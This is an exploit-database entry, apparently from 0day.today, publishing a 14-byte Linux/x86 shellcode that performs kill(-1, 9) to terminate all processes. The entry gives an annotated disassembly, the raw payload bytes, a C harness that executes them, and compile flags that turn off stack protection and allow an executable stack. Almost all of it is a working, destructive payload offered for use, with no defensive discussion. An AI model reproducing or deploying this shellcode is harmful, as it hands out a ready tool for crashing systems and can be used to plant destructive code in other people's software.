Linux/x86 - Kill All Processes Shellcode (14 bytes)

# Exploit Title: Linux/x86 - Kill All Processes Shellcode (14 bytes)
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 14
# Description: Linux/x86 kill 9 -1 (14 bytes)
------------------------------[Description]---------------------------------
 
This shellcode will kill all processes
 
-----------------------------[Shellcode Dump]---------------------------------
 
08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       50                      push   %eax
 8048063:       b0 25                   mov    $0x25,%al
 8048065:       bb ff ff ff ff          mov    $0xffffffff,%ebx
 804806a:       b1 09                   mov    $0x9,%cl
 804806c:       cd 80                   int    $0x80
 
 -----------------------------[Compile]---------------------------------------------
 gcc -m32 -fno-stack-protector -z execstack -o tester tester.c
 
 -----------------------------[C-Code]-----------------------------
 
 #include<stdio.h>
 #include<string.h>
 
 unsigned char code[] = "\x31\xc0\x50\xb0\x25\xbb\xff\xff\xff\xff\xb1\x09\xcd\x80";
 main()
 {
 
     printf("Shellcode Length: %d\n", strlen(code));
 
     int (*ret)() = (int(*)())code;
 
     ret();
 }
 
#  0day.today [2018-12-24]  #